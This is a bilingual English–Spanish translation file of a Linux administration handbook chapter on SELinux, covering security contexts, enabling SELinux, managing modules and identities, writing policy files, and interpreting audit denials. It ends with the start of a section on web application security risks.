en: Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with <literal>_t</literal> just like objects' types.
es-ES: Internamente un dominio es simplemente un tipo, pero un tipo que sólo se aplica a procesos. Es por esta razón que los dominios tienen el sufijo <literal>_t</literal> al igual que los tipos de objeto.

en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
es-ES: De forma predeterminada, los programas heredan el dominio del usuario que los ejecuta, pero las políticas estándar de SELinux esperan que muchos programas importantes se ejecuten en dominios dedicados. Para conseguir esto, se etiquetan dichos ejecutables con un tipo dedicado (por ejemplo, se etiqueta <command>ssh</command> con <literal>ssh_exec_t</literal> y, cuando inicia el programa, automáticamente cambia al dominio <literal>ssh_t</literal>). Este mecanismo de transición automática de dominios permite otorgar exclusivamente los permisos que requiere cada programa. Es un principio fundamental de SELinux.

en: Automatic transitions between domains
es-ES: Transiciones automáticas entre dominios

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
es-ES: <emphasis>EN LA PRÁCTICA</emphasis> Averiguar el contexto de seguridad

en: <primary>context, security context</primary>
es-ES: <primary>contexto de seguridad</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
es-ES: Para averiguar el contexto de seguridad em una consola, puede ejecutar <command>id -Z</command>.

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
es-ES: Para averiguar el contexto de seguridad de un proceso, debe utilizar la opción <literal>Z</literal> de <command>ps</command>.

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
es-ES: El primer campo contiene la identidad, el rol, el dominio y el nivel MCS separados por dos puntos. El nivel MCS (<emphasis>seguridad multicategoría</emphasis>: «Multi-Category Security») es un parámetro que interviene en el establecimiento de una política de protección de la confidencialidad, que regula el acceso a archivos basándose en su sensibilidad. No explicaremos esta característica en este libro.

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
es-ES: Por último, para averiguar el tipo asignado a un archivo, puede utilizar <command>ls -Z</command>.

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
es-ES: Es importante saber que la identidad y rol asignados a un archivo no tienen importancia especial (nunca son utilizados), pero se le asigna un contexto de seguridad completo a todos los objetos para mantener la uniformidad.

en: Setting Up SELinux
es-ES: Configuración de SELinux

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
es-ES: Todos los núcleos estándar que Debian proporciona incluyen compatibilidad con SELinux. Todas las herramientas básicas Unix son compatibles con SELinux sin ninguna modificación. Por lo tanto, es relativamente sencillo habilitar SELinux.

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
es-ES: El paquete <emphasis role="pkg">selinux-policy-default</emphasis> contiene un conjunto de reglas estándar. De forma predeterminada, esta política sólo restringe el acceso a algunos servicios expuestos ampliamente. Las sesiones de usuario no están restringidas y, por lo tanto, es improbable que SELinux bloquee una operación legítima de un usuario. Sin embargo, mejora la seguridad de los servicios del sistema que estén ejecutando en la máquina. Para establecer una política equivalente a las reglas «estrictas» antiguas debe deshabilitar el módulo <literal>unconfined</literal> (detallamos la gestión de módulos más adelante en esta sección).

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
es-ES: Después de instalar una política, debe etiquetar todos los archivos disponibles (lo que quiere decir asignarles un tipo). Debe iniciar esta operación manualmente con <command>fixfiles relabel</command>.

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
es-ES: Ahora el sistema SELinux está listo. Para habilitarlo debe añadir el parámetro <literal>selinux=1 security=selinux</literal> al núcleo Linux. El parámetro <literal>audit=1</literal> habilita los registros de SELinux que graban todas las operaciones denegadas. Por último, el parámetro <literal>enforcing=1</literal> hace que se apliquen las reglas: sin él, SELinux trabaja en el modo predeterminado <emphasis>permissive</emphasis> (permisivo) en el que las acciones prohibidas son registradas pero son ejecutadas de todas formas. Por lo tanto, debe modificar el archivo de configuración del gestor de arranque GRUB para añadir los parámetros que desee. Una forma sencilla de hacerlo es modificar la variable <literal>GRUB_CMDLINE_LINUX</literal> en el archivo <filename>/etc/default/grub</filename> y ejecutar <command>update-grub</command>. SELinux estará activo al reiniciar.

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
es-ES: Es importante saber que el script <command>selinux-activate</command> automatiza todas estas operaciones y fuerza el etiquetado de archivos en el siguiente reinicio (lo que evita que se creen nuevos archivos sin etiquetar cuando SELinux aún no esta activo mientras se realiza el etiquetado).

en: Managing an SELinux System
es-ES: Gestión de un sistema SELinux

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
es-ES: La política SELinux consiste en un conjunto de reglas modular, y su instalación detecta y habilita automáticamente todos los módulos necesarios en función de los servicios que se encuentren instalados. El sistema, por lo tanto, se encuentra operativo de forma inmediata. Sin embargo, cuando instale un servicio después de haber instalado la política SELinux deberá habilitar el módulo correspondiente manualmente. Para ello existe el programa <command>semodule</command>. Lo que es más, debería tener la capacidad de definir los roles que cada usuario puede adoptar, lo que puede realizar con el programa <command>semanage</command>.

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
es-ES: Puede utilizar estos dos programas para modificar la configuración actual de SELinux, almacenada en <filename>/etc/selinux/default/</filename>. A diferencia de otros archivos de configuración que puede encontrar en <filename>/etc/</filename>, no debe modificar estos archivos manualmente. Debe utilizar los programas diseñados para este propósito.

en: <emphasis>GOING FURTHER</emphasis> More documentation
es-ES: <emphasis>YENDO MÁS ALLÁ</emphasis> Más documentación

en: Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type="block" url="https://selinuxproject.org" />
es-ES: Puesto que su desarrollador original, la agencia nacional de seguridad estadounidense (NSA: «National Security Agency») no proporciona documentación oficial, la comunidad ha creado un wiki para compensarlo. Dispone de mucha información, pero debe tener en cuenta que la mayoría de los que contribuyen a SELinux son usuarios de Fedora (en la que SELinux está habilitado de forma predeterminada). Por este motivo la documentación suele tratar con dicha distribución específicamente. <ulink type="block" url="https://selinuxproject.org" />

en: Managing SELinux Modules
es-ES: Gestión de módulos SELinux

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
es-ES: Los módulos SELinux disponibles se almacenan en el directorio <filename>/usr/share/selinux/default/</filename>. Para habilitar uno de estos módulos en la configuración actual debe ejecutar <command>semodule -i <replaceable>módulo.pp.bz2</replaceable></command>. La extensión <emphasis>pp.bz2</emphasis> significa <emphasis>paquete de política</emphasis> («policy package») comprimido mediante bzip2.

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
es-ES: Puede eliminar un módulo de la configuración actual con <command>semodule -r <replaceable>módulo</replaceable></command>. Por último, <command>semodule -l</command> enumera los módulos instalados actualmente. También imprime los números de versión correspondientes. Los módulos puden ser activados selectivamente con <command>semodule -e</command> y desactivados mediante <command>semodule -d</command>.

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
es-ES: <command>semodule</command> carga inmediatamente la nueva configuración a menos que utilice la opción <literal>-n</literal>. De forma predeterminada, el programa actúa sobre la configuración actual (indicada por la variable <literal>SELINUXTYPE</literal> en el archivo <filename>/etc/selinux/config</filename>), pero también puede modificar una distinta especificándola con la opción <literal>-s</literal>.

en: Managing Identities
es-ES: Gestión de identidades

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
es-ES: Cada vez que un usuario inicia sesión, se le asigna una identidad SELinux. Esta identidad determina los roles que puede adoptar. Puede configurar estas correspondencias (entre el usuario y la identidad y entre la identidad y los roles) con el programa <command>semanage</command>.

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
es-ES: <command>semanage login -l</command> enumera las correspondencias actuales entre identificadores de usuarios y entidades SELinux. Los usuarios que no aparecen explícitamente poseen la identidad predeterminada, que corresponde al elemento <literal>__default__</literal>. Si ejecuta <command>semanage login -a -s user_u <replaceable>usuario</replaceable></command>, asociará la identidad <emphasis>user_u</emphasis> con el usuario dado. Por último, <command>semanage login -d <replaceable>usuario</replaceable></command> elimina la asociación asignada al usuario.

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
es-ES: <command>semanage user -l</command> enumera las asociaciones entre las identidades de usuario de SELinux y los roles permitidos. Agregar una nueva identidad requiere definir tanto sus roles correspondientes como un prefijo de etiquetado que se utiliza para asignar un tipo a los archivos personales (<filename>/home/<replaceable>usuario</replaceable>/*</filename>). Debe elegir el prefijo entre <literal>user</literal>, <literal>staff</literal> y <literal>sysadm</literal>. El prefijo «<literal>staff</literal>» hace que los archivos sean del tipo «<literal>staff_home_dir_t</literal>». Para crear una nueva identidad de usuario SELinux, ejecute <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefijo</replaceable> <replaceable>identidad</replaceable></command>. Puede eliminar una identidad de usuario SELinux ejecutando <command>semanage user -d <replaceable>identidad</replaceable></command>.

en: Managing File Contexts, Ports and Booleans
es-ES: Gestión de contextos de archivos, puertos y valores booleanos

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
es-ES: Cada módulo de SELinux proporciona un conjunto de reglas de etiquetado de archivos, pero también es posible crear reglas de etiquetado personalizadas para adaptarse a algún caso específico. Por ejemplo, si desea que el servidor web sea capaz de leer archivos en el directorio <filename>/srv/www/</filename>, podría ejecutar <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> seguido de <command>restorecon -R /srv/www/</command>. La primera ejecución registra las nuevas reglas de etiquetado, mientras que la segunda hace que se reinicialicen los tipos de archivo según las reglas de etiquetado actuales.

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
es-ES: De forma similar, se etiquetan los puertos TCP/UDP de forma que asegure que únicamente los demonios correspondientes puedan escuchar en ellos. Por ejemplo, si desea que el servidor web pueda escuchar en el puerto 8080, deberá ejecutar <command>semanage port -m -t http_port_t -p tcp 8080</command>.

en: Adapting the Rules
es-ES: Adaptación de las reglas

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
es-ES: Puesto que la política SELinux es modular, puede ser interesante desarrollar nuevos módulos para aplicaciones (posiblemente propias) que carezcan de uno. Estos nuevos módulos completarán la <emphasis>política de referencia</emphasis>.

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
es-ES: Para crear nuevos módulos, necesitará los paquetes <emphasis role="pkg">selinux-policy-dev</emphasis> y <emphasis role="pkg">selinux-policy-doc</emphasis>. Este último contiene la documentación de las reglas estándar (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) y los archivos de ejemplo que puede utilizar como plantillas para crear nuevo módulos. Instale estos módulos y estúdielos detenidamente:

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
es-ES: El archivo <filename>.te</filename> es el más importante. Define las reglas. El archivo <filename>.fc</filename> define los «contextos de archivo», es decir los tipos asignados a los archivos relacionados con este módulo. Los datos del archivo <filename>.fc</filename> se utilizan durante el paso de etiquetado de archivos. Por último, el archivo <filename>.if</filename> define la interfaz del módulo: es una serie de «funciones públicas» que otros módulos pueden utilizar para interactuar con el módulo que se está creando.

en: Writing a <filename>.fc</filename> file
es-ES: Creación de un archivo <filename>.fc</filename>

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
es-ES: Leer el ejemplo a continuación debería ser suficiente para entender la estructura de este tipo de archivos. Puede utilizar expresiones regulares para asignar el mismo contexto de seguridad a múltiples archivos, o incluso a un árbol de directorios completo.

en: <filename>example.fc</filename> file
es-ES: Archivo <filename>example.fc</filename>

en: Writing a <filename>.if</filename> File
es-ES: Creación de un archivo <filename>.if</filename>

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
es-ES: En el ejemplo a continuación, la primera interfaz («<literal>myapp_domtrans</literal>») controla quién puede utilizar la aplicación. La segunda («<literal>myapp_read_log</literal>») otorga permisos de escritura a los archivos de registro de la aplicación.

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
es-ES: Cada interfaz debe generar un conjunto de reglas válido que pueda ser integrado en un archivo <filename>.te</filename>. Por lo tanto, debe declarar todos los tipos que utilizará (con el macro <literal>gen_require</literal>) y utilizar directivas estándar para otorgar permisos. Sepa que puede utilizar interfaces proporcionadas por otros módulos. La siguiente sección dará más explicaciones sobre cómo expresar estos permisos.

en: <filename>example.if</filename> File
es-ES: Archivo <filename>ejemplo.if</filename>

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
es-ES: <emphasis>DOCUMENTACIÓN</emphasis> Explicaciones sobre la <emphasis>política de referencia</emphasis>

en: The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />
es-ES: La <emphasis>política de referencia</emphasis> evoluciona como cualquier proyecto de software libre: basada en contribuciones de voluntarios. Tresys, una de las compañías más activas en el ámbito de SELinux, alberga el proyecto. Su wiki contiene explicaciones sobre la estructura de las reglas y cómo puede crear nuevas. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />

en: Writing a <filename>.te</filename> File
es-ES: Escritura de un archivo <filename>.te</filename>

en: Have a look at the <filename>example.te</filename> file:
es-ES: Revise el archivo <filename>example.te</filename>:

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
es-ES: <emphasis>YENDO MÁS ALLÁ</emphasis> El lenguaje de macro <command>m4</command>

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
es-ES: Para estructurar la política correctamente, los desarrolladores de SELinux utilizaron un procesador de macros. En lugar de duplicar muchas directivas <emphasis>allow</emphasis> similares, crearon «funciones macro» para utilizar una lógica de más alto nivel que también resulta en una política mucho más legible.

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
es-ES: En la práctica, utilizamos <command>m4</command> para compilar estas reglas. Realizar la operación opuesta: expande todas las directivas de alto nivel en una base de datos gigante de directivas <emphasis>allow</emphasis>.

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
es-ES: Las «interfaces» SELinux son sólo funciones macro que serán substituidas por un conjunto de reglas en tiempo de compilación. De la misma forma, algunos permisos son en realidad conjuntos de permisos que son reemplazados por sus valores en tiempo de compilación.

en: The module must be identified by its name and version number. This directive is required.
es-ES: El módulo debe ser identificado por su nombre y número de versión. Esta directiva es obligatoria.

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
es-ES: Si el módulo introduce tipos nuevos, debe declararlos con directivas como las siguientes. No dude en crear tantos tipos como necesite en lugar de otorgar demasiados permisos inútiles.

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
es-ES: Dichas interfaces definen el tipo <literal>myapp_t</literal> como un dominio de proceso que cualquier ejecutable con la etiqueta <literal>myapp_exec_t</literal> debería utilizar. Implícitamente, esto agrega un atributo <literal>exec_type</literal> en estos objetos, lo que a su vez permite a otros módulos otorgar permisos para ejecutar dichos programas: por ejemplo, el módulo <literal>userdomain</literal> permite que los ejecuten los proceso con dominios <literal>user_t</literal>, <literal>staff_t</literal> y <literal>sysadm_t</literal>. Los dominios de otras aplicaciones confinadas no tendrán los permisos para ejecutarlos a menos que las reglas les otorguen permisos similares (este es el caso, por ejemplo, de <command>dpkg</command> con su dominio <literal>dpkg_t</literal>).

en: <literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to <command>logrotate</command> so that it can manipulate them).
es-ES: <literal>logging_log_file</literal> es una interfaz provista por la política de referencia. Indica que los archivos etiquetados con el tipo dado son archivos de registro que deben gozar de los beneficios de las reglas asociadas (por ejemplo, otorgando permisos a <command>logrotate</command> para que los pueda manipular).

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
es-ES: La directiva <literal>allow</literal> es la directiva base para autorizar una operación. El primer parámetro es el dominio de proceso al que se le permite ejecutar la operación. El segundo define el objeto que puede manipular un proceso del dominio anterior. Este parámetro debe estar en el formato «<replaceable>tipo</replaceable>:<replaceable>clase</replaceable>», en el que <replaceable>tipo</replaceable> es el tipo SELinux y <replaceable>clase</replaceable> describe la naturaleza del objeto (archivo, directorio, zócalo, tubería, etc.). Finalmente, el último parámetro describe los permisos (las operaciones permitidas).

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
es-ES: Los permisos están definidos como el conjunto de operaciones permitidas y siguen la siguiente plantilla: <literal>{ <replaceable> operación1</replaceable> <replaceable>operación2</replaceable> }</literal>. Sin embargo, también puede utilizar macros que representan los permisos más útiles. El archivo <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> los enumera.

en: The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />
es-ES: La siguiente página web provee una lista relativamente exhaustiva de las clases de objetos y los permisos que puede otorgar. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
es-ES: Ahora sólo debe encontrar el conjunto mínimo de reglas necesario para asegurar que la aplicación o servicio objetivo funcione correctamente. Para lograrlo, debería tener buen conocimiento de cómo funciona la aplicación y qué tipo de datos genera o administra.

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
es-ES: Sin embargo, es posible un enfoque empírico. Una vez que se etiquetaron correctamente los objetos relevantes, puede utilizar la aplicación en modo permisivo: las operaciones que hubiesen estado bloqueadas son registradas pero ejecutarán correctamente. Si analiza los registros, ahora puede identificar las operaciones a permitir. A continuación encontrará un ejemplo de elemento en dicho registro:

en: To better understand this message, let us study it piece by piece.
es-ES: Para entender mejor este mensaje, estudiémoslo parte por parte.

en: Analysis of an SELinux trace
es-ES: Análisis de una traza SELinux

en: Message
es-ES: Mensaje

en: Description
es-ES: Descripción

en: An operation has been denied.
es-ES: Se denegó una operación.

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
es-ES: Esta operación necesita los permisos <literal>read</literal> y <literal>write</literal>.

en: The process with PID 1876 executed the operation (or tried to execute it).
es-ES: El proceso con PID 1876 ejecutó la operación (o intentó hacerlo).

en: The process was an instance of the <literal>syslogd</literal> program.
es-ES: Este proceso era una instancia del programa <literal>syslogd</literal>.

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
es-ES: El objeto de destino se llamaba <literal>xconsole</literal>. En ciertos casos también se puede tener una variable «path» con una ruta completa.

en: The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).
es-ES: El dispositivo que alberga el objeto destino es un <literal>tmpfs</literal> (sistema de archivos en memoria). Para un disco real, podría ver la partición que alberga el objeto (por ejemplo, «sda3»).

en: The object is identified by the inode number 5510.
es-ES: El objeto está identificado por el número de inodo 5510.

en: This is the security context of the process who executed the operation.
es-ES: Este es el contexto de seguridad del proceso que ejecutó la operación.

en: This is the security context of the target object.
es-ES: Este es el contexto de seguridad del objeto destino.

en: The target object is a FIFO file.
es-ES: El objeto destino es un archivo FIFO.

en: By observing this log entry, it is possible to build a rule that would allow this operation. For example, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it is exactly what the <command>audit2allow</command> command (of the <emphasis role="pkg">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial.
es-ES: Observando esta entrada de registro, es posible crear una regla que permitiría esta operación. Por ejemplo, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. Se puede automatizar este proceso, que es exactamente lo que ofrece el paquete <command>audit2allow</command> (del paquete <emphasis role="pkg">policycoreutils</emphasis>. Este enfoque sólo es útil si ya están etiquetados correctamente los muchos objetos que deben ser confinados. En cualquier caso, debe revisar cuidadosamente las reglas generadas y validarlas según su conocimiento de la aplicación. En efecto, este enfoque tiende a otorgar más permisos de los que son realmente necesarios. La solución apropiada generalmente es crear nuevos tipos y otorgar los permisos sólo sobre dichos tipos. También puede suceder que denegar una operación no es fatal para la aplicación, en cuyo caso podría ser mejor simplemente agregar una regla «<literal>dontaudit</literal>» para evitar que sea registrada a pesar de que sea denegada.

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
es-ES: <emphasis>COMPLEMENTOS</emphasis> Falta de roles en las reglas de la política

en: <primary>Type Enforcement</primary>
es-ES: <primary>Tipo («Type»), forzado de tipos</primary>

en: <primary>Enforcement, Type Enforcement</primary>
es-ES: <primary>forzado de tipos</primary>

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
es-ES: Puede parecerle extraño que no se mencionen roles cuando se crean nuevas reglas. SELinux sólo utiliza los dominios para saber qué operaciones están permitidas. El rol sólo interviene indirectamente permitiéndole al usuario cambiar a otro dominio. SELinux está basado en una teoría conocida como <emphasis>forzado de tipos</emphasis> («Type Enforcement») y el tipo es el único elemento que importa al otorgar permisos.

en: Compiling the Files
es-ES: Compilación de los archivos

en: Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, rename them to <filename>myapp.<replaceable>extension</replaceable></filename> and run <command>make NAME=devel</command> to generate a module in the <filename>myapp.pp</filename> file (you can immediately load it with <command>semodule -i myapp.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files.
es-ES: Una vez que los 3 archivos (<filename>ejemplo.if</filename>, <filename>ejemplo.fc</filename> y <filename>ejemplo.te</filename>) estén a la altura de sus expectativas de las nuevas reglas, renómbrelos a <filename>mi_programa.<replaceable>extensión</replaceable></filename> y ejecute <command>make NAME=devel</command> para generar un módulo en el archivo <filename>mi_programa.pp</filename> (puede cargarlo inmediatamente con <command>semodule -i mi_programa.pp</command>). Si define varios módulos, <command>make</command> creará todos los archivos <filename>.pp</filename> correspondientes.

en: Other Security-Related Considerations
es-ES: Otras consideraciones relacionadas con la seguridad

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
es-ES: La seguridad no es sólo un problema técnico: se trata sobre todo de buenas prácticas y de una buena compresión de los riesgos. Esta sección revisa algunos de los riesgos más comunes, así como también unas pocas prácticas recomendadas que deberían, dependiendo del caso, aumentar la seguridad o reducir el impacto de un ataque exitoso.

en: Inherent Risks of Web Applications
es-ES: Riesgos inherentes de las aplicaciones web

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
